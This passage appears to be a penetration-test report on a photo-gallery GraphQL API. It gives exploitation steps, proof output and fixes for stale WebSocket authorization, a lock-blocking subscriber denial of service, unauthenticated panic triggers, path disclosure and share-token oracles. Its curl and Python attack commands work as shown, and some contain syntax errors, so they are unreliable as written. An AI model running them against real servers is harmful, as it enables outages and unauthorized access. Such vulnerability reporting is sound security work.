{"data":{"updateUser":{"id":"9","username":"wsadm6","admin":false}}}

--- HTTP with wsadm6 cookie, admin-only query ---
{"errors":[{"message":"user must be admin","path":["user"]}],"data":null}

--- WS same query on old socket ---
WS: {"payload":{"data":{"user":[{"id":"1","username":"admin","admin":true},{id":"2","username":"alice","admin":false},...]}}}

--- now DELETE user 9 ---
{"data":{"deleteUser":{"id":"9","username":"wsadm6"}}}

--- HTTP after delete ---
{"errors":[{"message":"unauthorized","path":["myUser"]}],"data":null}

--- WS after delete ---
WS: {"payload":{"data":{"user":[{"id":"1","username":"admin","admin":true},...]}}}

```

1. The WebSocket answers admin-only operations for a user row that no longer exists, at the same instant HTTP rejects the same credential.

Remediation

Re-resolve the authenticated user per operation on the WebSocket transport rather than once at upgrade: wire `auth.AuthWebsocketInit` as the `transport.Websocket InitFunc` in `api/graphql/endpoint/graphql_endpoint.go` and have each resolver load the user from the dataloader on every request, rejecting operations when the token row is gone, expired, or the admin flag has changed. Additionally close open sockets belonging to a user when that user is deleted, demoted, or has their password changed.

Notes

- Test accounts `wsadm6` (id 9) and `lowpriv6` (id 8) were created for this test; `wsadm6` was deleted as part of the proof. Combined with the permissive WebSocket origin check, a cross-site opened socket would inherit the same indefinite authorization.

MISC-02: Blocking Broadcast Under the Global notificationLock — Non-Draining notification Subscriber Freezes the Scanner Instance-Wide

MEDIUM

OWASP A06:2025 — Insecure Design

Location	WebSocket subscription <code>notification</code> at <code>ws://host.docker.internal:4800/api/graphql</code> ; <code>BroadcastNotification</code> in <code>api/graphql/notification/Notification.go</code> with <code>capacity-1</code> listener channels created in <code>api/graphql/resolvers/notification.go</code>
Auth state	Any authenticated low-privilege user
Prerequisites	Any authenticated low-privilege account (or a cross-site hijacked session, since the WebSocket origin check fails open in this deployment).

Overview	BroadcastNotification performs a blocking channel send inside the critical section of the process-global notificationLock, and listener channels have capacity 1. A single low-privilege subscriber that stops reading its socket back-pressures the writer, fills the channel, and blocks the broadcast while holding the global lock — freezing the scanner and all notification delivery for every user on the instance. DeregisterListener requires the very lock the stuck send holds.
Impact	A single non-draining low-privilege WebSocket subscriber froze the media scanner and all notification delivery for the whole instance. In one run a well-behaved admin subscriber received only 3 notification frames in 60 s (versus ~929 frames under identical load without the attacker) and the stall persisted for over two minutes; in a longer run the freeze recurred continuously in 46–120 s blocks over a 7-minute window, releasing 0.1 s after the attacker disconnected.

Exploitation Steps

Step 1 — Log in with any low-privilege account

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -d '{"query": "mutation{authorizeUser(username:\"lowpriv6\",password:\"LowPriv123\")}{token}}"'
```

Step 2 — Open a WebSocket with a shrunken receive buffer and never read it

```
from wsclient import WS
A = WS("host.docker.internal", 4800, "/api/graphql",
      headers={"Cookie": "auth-token=[LOW_PRIV_TOKEN]"}, rcvbuf=512) # SO_RCVBUF
set pre-connect
A.send({"type": "connection_init", "payload": {}})
A.send({"id": "1", "type": "start",
      "payload": {"query": "subscription { notification { key type header content progress } }"}})
# deliberately never read from A again
```

Step 3 — Attach a well-behaved subscriber and generate notification volume

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -b 'auth-token=[ADMIN_TOKEN]' -d '{"query": "mutation{ scanUser(userId:1){ success message } }"}'
```

Step 4 — Observe the freeze and its release on disconnect

The well-behaved subscriber stops receiving frames for minutes at a time while the attacker socket is held, and the scanner makes no forward progress. Closing the attacker socket resumes delivery within ~0.1 s, confirming causation.

Proof of Impact

1. Run 1 — attacker attached, admin triggers scanUser(userId:1):

```
scan: {"data":{"scanUser":{"success":true,"message":"Scanner started"}}}
[benign] SILENT 5s (total frames=3)
[benign] SILENT 54s (total frames=3)
=== STALL DETECTED ===
total benign frames: 3
HTTP alive: {"data":{"siteInfo":{"initialSetup":false}}}
```

2. Run 2 — 7-minute observation with the attacker attached, then disconnect:

```

STALL began; frames so far=44
resumed after 46s stall
STALL began; frames so far=126
resumed after 117s stall
STALL began; frames so far=151
resumed after 120s stall
closing attacker at 422s
first frame 0.1s after disconnect
frames in 60s after attacker disconnect: 38

```

Baseline (same scan, no attacker): 929 notification frames in the same interval.

```

notificationLock.Lock()
defer notificationLock.Unlock()
for _, listener := range notificationListeners {
    listener.channel <- notification    // blocking send under the global lock
}

```

Remediation

Make the broadcast non-blocking and lock-light: copy the listener slice under the lock, release it, then deliver with a `select { case listener.channel <- n: default: /* drop or disconnect */ }` non-blocking send. Increase listener channel capacity, drop the slowest consumer (and close its socket) when its buffer overflows, and set a per-listener write deadline so one client can never stall the scanner or other subscribers.

Notes

- gorilla/websocket's write deadline eventually aborts the blocked write, so each freeze lasts up to ~2 minutes and recurs while the socket is held, with full recovery after disconnection — a repeatable, attacker-controlled subsystem outage rather than an unrecoverable deadlock.

MISC-03: Unauthenticated Nil-Pointer Panic on GET /api/photo/<unknown> and GET /api/video/<unknown>;

LOW

OWASP A10:2025 — Mishandling of Exceptional Conditions

Location	GET /api/photo/{name} and GET /api/video/{name} with a non-existent media name; api/routes/photos.go (.Scan) and api/routes/authenticate_routes.go (media.AlbumID dereference)
Auth state	Unauthenticated (also reproduces authenticated)
Prerequisites	None — unauthenticated.
Overview	photos.go uses GORM <code>Scan</code> , which does not return <code>ErrRecordNotFound</code> on an empty result, so the 404 branch is dead code and <code>mediaURL.Media</code> stays nil. <code>authenticateMedia</code> then dereferences the nil <code>*models.Media</code> (<code>media.AlbumID</code>), panicking the request goroutine; no panic-recovery middleware is registered, so the connection is torn down with no HTTP response at all.
Impact	Any unauthenticated client can deterministically crash the request-handling goroutine of the media API with a single GET, causing the server to abort the TCP connection without any HTTP response and to emit a Go panic stack trace into the application log. Repeated at volume this is a free, credential-less request-abort and log-flooding primitive against the media endpoints. The process itself survives, so impact is limited to aborted connections and log noise.

Exploitation Steps

Step 1 — Send an anonymous GET for a non-existent media name

```
curl -v http://host.docker.internal:4800/api/photo/doesnotexist
```

```
> GET /api/photo/doesnotexist HTTP/1.1
> Host: host.docker.internal:4800
* Request completely sent off
* Empty reply from server
* shutting down connection #0
```

Step 2 — Repeat authenticated and against the video route

```
curl -v -b 'auth-token=[SESSION_TOKEN]' http://host.docker.internal:4800/api/photo/doesnotexist
# * Empty reply from server
curl -v -b 'auth-token=[SESSION_TOKEN]' http://host.docker.internal:4800/api/video/doesnotexist
# * Empty reply from server
```

Step 3 — Drive it at volume

```
seq 1 200 | xargs -P 50 -I{} curl -s -o /dev/null http://host.docker.internal:4800/api/photo/nope{}
```

Proof of Impact

```
> GET /api/photo/doesnotexist HTTP/1.1
> Host: host.docker.internal:4800
* Request completely sent off
* Empty reply from server
* shutting down connection #0

> GET /api/photo/doesnotexist HTTP/1.1
> Cookie: auth-token=u2mCk0lCytPkSA3ozKz04TcL
* Empty reply from server
```

Video route: identical 'Empty reply from server'.

```
media := mediaURL.Media
if success, response, status, err := authenticateMedia(media, db, r); !success {
    ...
    if err := db.First(&album, media.AlbumID).Error; err != nil { // nil deref
```

1. The process survives (GET /api/ still returned HTTP 200 immediately afterwards), confirming Go's per-connection recovery limits this to a connection-level abort.

Remediation

In `api/routes/photos.go`, replace `.Scan(&mediaURL)` with `.First(&mediaURL)` (or check `RowsAffected == 0`) and return HTTP 404 when no row matches, so the dead 404 branch actually executes. Add a nil guard on `mediaURL.Media` before calling `authenticateMedia`, and register a panic-recovery middleware on the router that logs the panic and returns HTTP 500 instead of tearing down the connection.

MISC-04: Raw os.Stat Error Returned by the SPA Catch-All Handler Discloses Absolute Server Paths

LOW

OWASP A02:2025 — Security Misconfiguration

Location	GET /<any path>; — SPA catch-all handler at api/routes/spa.go
Auth state	Unauthenticated
Prerequisites	None — unauthenticated.
Overview	The SPA handler special-cases only os.ErrNotExist; any other os.Stat error is returned verbatim to the client as the HTTP 500 body. An unauthenticated request that forces ENOTDIR or ENAMETOOLONG therefore leaks the raw *os.PathError, disclosing the server's absolute deployment directory.
Impact	Unauthenticated disclosure of the server's absolute deployment path (/app/ui) and raw OS error semantics through a 500 response body — information that appears nowhere in normal application output and that makes the file-path-dependent weaknesses in this application (cache directory targeting, symlink placement, rootPath selection) precisely targetable.

Exploitation Steps

Step 1 — Force ENOTDIR using an existing regular file as a path prefix

```
curl -si 'http://host.docker.internal:4800/index.html/anything'
```

```
HTTP/1.1 500 Internal Server Error
Content-Type: text/plain; charset=utf-8
Content-Length: 50
```

```
stat /app/ui/index.html/anything: not a directory
```

Step 2 — Force ENAMETOOLONG to confirm a second errno branch

```
curl -si "http://host.docker.internal:4800/$(python3 -c 'print("a"*600)')'"
# HTTP/1.1 500 Internal Server Error
# stat /app/ui/aaaa...aaa: file name too long
```

Step 3 — Record the disclosed UI root

Record /app/ui and infer sibling directories (application binary, media cache) for use in path-dependent follow-up attacks.

Proof of Impact

```
$ curl -si 'http://host.docker.internal:4800/index.html/anything'
HTTP/1.1 500 Internal Server Error
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Content-Length: 50

stat /app/ui/index.html/anything: not a directory

$ curl -si "http://host.docker.internal:4800/$(python3 -c 'print("a"*600)')'"
HTTP/1.1 500 Internal Server Error
Content-Length: 634

stat /app/ui/aaaaaaaa...aaaa: file name too long
```

```
_, err := os.Stat(servePath)
if os.IsNotExist(err) {
    http.ServeFile(w, r, filepath.Join(h.staticPath, h.indexPath))
    return
} else if err != nil {
    http.Error(w, err.Error(), http.StatusInternalServerError) // raw *os.PathError to the client
    return
}
```

1. The disclosed /app/ui root is corroborated independently by scanner notifications referencing /app/ui/logo192.png.

Remediation

In `api/routes/spa.go`, log the `*os.PathError` server-side and return a fixed generic body —

```
http.Error(w, "internal server error", http.StatusInternalServerError) — never err.Error().
```

Treat `ENOTDIR` and `ENAMETOOLONG` like `ErrNotExist` by serving `index.html`, so the catch-all cannot be probed for filesystem semantics.

MISC-05: Unchecked `*shareToken.MediaID` Dereference in the `media()` Resolver for Album-Scoped Share Tokens

LOW

OWASP A10:2025 — Mishandling of Exceptional Conditions

Location	POST <code>/api/graphql</code> — query <code>media(id, tokenCredentials)</code> with an album share token; <code>api/graphql/resolvers/media.go</code> dereferences <code>shareToken.MediaID</code> unconditionally
Auth state	Unauthenticated
Prerequisites	Any album-scoped share token. Fully anonymous request.
Overview	The media resolver dereferences <code>*shareToken.MediaID</code> without checking whether the supplied token is album-scoped. Album tokens created by <code>AddAlbumShare</code> always have a <code>nil MediaID</code> , so an anonymous holder of any album share link panics the resolver on demand; <code>gqlgen</code> 's recovery converts it to an 'internal system error' entry. The sibling album resolver correctly <code>nil</code> -checks.
Impact	An anonymous attacker holding only a public album share link can deterministically panic the GraphQL media resolver, aborting the operation and generating panic-recovery noise server-side,

and can use the distinctive 'internal system error' response as an oracle revealing whether a given share token is album-scoped or media-scoped.

Exploitation Steps

Step 1 — Obtain an album-scoped share token

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -b 'auth-token=[SESSION_TOKEN]' -d '{"query":"mutation{ shareAlbum(albumId:1){ token } }"}'
# => {"data":{"shareAlbum":{"token":"wzi6ZbGT"}}
```

Step 2 — Anonymously query the media field with that album token

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{ media(id:1, tokenCredentials:{token:\"wzi6ZbGT\"}) { id title } }"}'
```

```
{"errors":[{"message":"internal system error","path":["media"]}], "data":null}
```

'internal system error' is gqlgen's panic-recovery message, distinct from every ordinary GraphQL error this API produces (unauthorized, not initial setup, user must be admin, ...).

Step 3 — Confirm independence from the media id

```
for id in 1 4 7 999; do
  curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
    -d '{"query":"{ media(id:$id, tokenCredentials:{token:\"wzi6ZbGT\"}) { id } }"}'; echo
done
```

Step 4 — Contrast with a media-scoped token

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{ media(id:1, tokenCredentials:{token:\"[MEDIA_TOKEN]\"}) { id title } }"}'
```

A media-scoped token returns normally, isolating the nil MediaID dereference and giving a token-type oracle.

Proof of Impact

1. Anonymous request with an album token:

```
{"errors":[{"message":"internal system error","path":["media"]}], "data":null}
```

2. versus the clean, non-panic error shape this API returns for genuine authorization failures:

```
{"errors":[{"message":"unauthorized","path":["shareToken"]}], "data":null}
```

Remediation

Nil-check the token scope in `api/graphql/resolvers/media.go` before dereferencing `shareToken.MediaID` — mirror the sibling album resolver's `if shareToken.Album != nil` pattern and return the standard

`unauthorized` error when an album-scoped token is used on the media field, so both the panic and the token-type oracle disappear.

MISC-06: Unguarded `*credentials.Password` Dereference in the `shareToken()` Resolver When the Password Field Is Omitted

LOW

OWASP A10:2025 — Mishandling of Exceptional Conditions

Location	POST <code>/api/graphql</code> — query <code>shareToken(credentials:{token})</code> against a password-protected token; <code>api/graphql/resolvers/share_token.go</code> dereferences <code>*credentials.Password</code> without a nil guard
Auth state	Unauthenticated
Prerequisites	Knowledge of one password-protected share token value (obtainable anonymously through the unscoped <code>Album.shares</code> field).
Overview	When the queried share token has a password, the resolver calls <code>bcrypt.CompareHashAndPassword</code> with <code>*credentials.Password</code> without checking for nil. Omitting the optional password field entirely — legal per the schema — panics the resolver, while supplying an empty string returns a clean <code>'unauthorized'</code> error, isolating the nil dereference. The sibling <code>ShareTokenValidatePassword</code> resolver does implement the guard.
Impact	An anonymous, deterministic runtime panic on the public GraphQL endpoint, plus a working oracle that reveals whether an arbitrary share token is password-protected purely from the error shape, without any authorization. The panicking query can be looped to generate sustained panic-recovery load and log noise.

Exploitation Steps

Step 1 — Identify a password-protected share token

Harvest tokens anonymously through the unscoped `Album.shares` field and pick one with `hasPassword:true` (here `fFBRxekF`).

Step 2 — Query it with the optional password field omitted

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
-d '{"query":"{ shareToken(credentials:{token:\"fFBRxekF\"}) { id } }}"'
```

```
{"errors":[{"message":"internal system error","path":["shareToken"]}], "data":null}
```

Step 3 — Send the identical query with password:""

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
-d '{"query":"{ shareToken(credentials:{token:\"fFBRxekF\", password:\"\"}) { id } }}"'
# {"errors":[{"message":"unauthorized","path":["shareToken"]}], "data":null}
```

The clean, non-panic error proves the panic is specific to the omitted-password path. The response-shape difference is a password-protection oracle across a set of tokens.

Step 4 — Loop the panicking query for sustained load

```
seq 1 500 | xargs -P 20 -I{} curl -s -o /dev/null -X POST http://host.docker.internal:4800/api/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ shareToken(credentials:{token:\"fBBrxekF\"}) { id } }"}'
```

Proof of Impact

1. Password omitted (panic path) versus password supplied as empty string (clean path):

```
{"errors":[{"message":"internal system error","path":["shareToken"]}], "data":null}
{"errors":[{"message":"unauthorized","path":["shareToken"]}], "data":null}
```

2. Source: the resolver calls `bcrypt.CompareHashAndPassword([]byte(*token.Password), []byte(*credentials.Password))` when `token.Password != nil`, dereferencing the optional `credentials.Password` without a nil guard.

Remediation

Add the nil guard the sibling `ShareTokenValidatePassword` resolver already has: in `api/graphql/resolvers/share_token.go`, treat `credentials.Password == nil` as an authentication failure and return the standard `unauthorized` error before any `bcrypt` call. Ensure the omitted-password and wrong-password paths return identical errors so the response shape cannot be used as a password-protection oracle.